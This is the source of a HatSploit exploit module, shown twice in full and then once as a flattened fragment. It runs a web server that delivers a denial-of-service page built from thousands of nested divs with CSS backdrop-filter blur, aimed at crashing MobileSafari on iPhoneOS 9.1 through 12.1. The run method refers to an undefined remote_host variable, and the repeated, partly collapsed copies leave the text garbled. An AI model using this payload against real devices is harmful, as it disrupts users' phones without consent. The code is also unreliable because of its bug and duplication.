<filename>modules/exploit/iphoneos/safari/webkit_filter_dos.py
#!/usr/bin/env python3

#
# MIT License
#
# Copyright (c) 2020-2021 EntySec
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from core.lib.module import Module
from utils.http.http import HTTPClient
from utils.tcp.tcp import TCPClient


class HatSploitModule(Module, HTTPClient, TCPClient):
    details = {
        'Name': "iPhoneOS Safari WebKit Filter DoS",
        'Module': "exploit/iphoneos/safari/webkit_filter_dos",
        'Authors': [
            '<NAME> (enty8080)',
            '<NAME> (pwnsdx)'
        ],
        'Description': "iPhoneOS 9.1 till 12.1 MobileSafari.app WebKit Filter DoS.",
        'Dependencies': [
            ''
        ],
        'Comments': [
            ''
        ],
        'Platform': "iphoneos",
        'Risk': "high"
    }

    options = {
        'LHOST': {
            'Description': "Local host.",
            'Value': TCPClient.get_local_host(),
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port.",
            'Value': 80,
            'Type': "port",
            'Required': True
        },
        'FOREVER': {
            'Description': "Start http server forever.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    @staticmethod
    def generate():
        div_line = '<div>' * 3500 + '</div>' * 3500

        payload = """
        <html>
            <head>
                <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
                <style>
                    div {
                        backdrop-filter: blur(10px);
                        -webkit-backdrop-filter: blur(10px);
                        width:10000px; height:10000px;
                    }
                </style>
            </head>
            <body>
                """ + div_line + """
            </body>
        </html>
        """

        return payload

    def run(self):
        local_host, local_port, forever = self.parse_options(self.options)

        self.output_process(f"Performing DoS attack on {remote_host}...")

        payload = self.generate()
        self.start_server(local_host, local_port, payload, True if forever in ['yes', 'y'] else False)

        self.output_success("DoS attack successfully completed!")

<filename>modules/exploit/iphoneos/safari/webkit_filter_dos.py
#!/usr/bin/env python3

#
# MIT License
#
# Copyright (c) 2020-2021 EntySec
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from core.lib.module import Module
from utils.http.http import HTTPClient
from utils.tcp.tcp import TCPClient


class HatSploitModule(Module, HTTPClient, TCPClient):
    details = {
        'Name': "iPhoneOS Safari WebKit Filter DoS",
        'Module': "exploit/iphoneos/safari/webkit_filter_dos",
        'Authors': [
            '<NAME> (enty8080)',
            '<NAME> (pwnsdx)'
        ],
        'Description': "iPhoneOS 9.1 till 12.1 MobileSafari.app WebKit Filter DoS.",
        'Dependencies': [
            ''
        ],
        'Comments': [
            ''
        ],
        'Platform': "iphoneos",
        'Risk': "high"
    }

    options = {
        'LHOST': {
            'Description': "Local host.",
            'Value': TCPClient.get_local_host(),
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port.",
            'Value': 80,
            'Type': "port",
            'Required': True
        },
        'FOREVER': {
            'Description': "Start http server forever.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    @staticmethod
    def generate():
        div_line = '<div>' * 3500 + '</div>' * 3500

        payload = """
        <html>
            <head>
                <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
                <style>
                    div {
                        backdrop-filter: blur(10px);
                        -webkit-backdrop-filter: blur(10px);
                        width:10000px; height:10000px;
                    }
                </style>
            </head>
            <body>
                """ + div_line + """
            </body>
        </html>
        """

        return payload

    def run(self):
        local_host, local_port, forever = self.parse_options(self.options)

        self.output_process(f"Performing DoS attack on {remote_host}...")

        payload = self.generate()
        self.start_server(local_host, local_port, payload, True if forever in ['yes', 'y'] else False)

        self.output_success("DoS attack successfully completed!")

#!/usr/bin/env python3 # # MIT License # # Copyright (c) 2020-2021 EntySec # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # <html>             <head>                 <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>                 <style>                     div {                         backdrop-filter: blur(10px);                         -webkit-backdrop-filter: blur(10px);                         width:10000px; height:10000px;                     }                 </style>             </head>             <body> </body>         </html>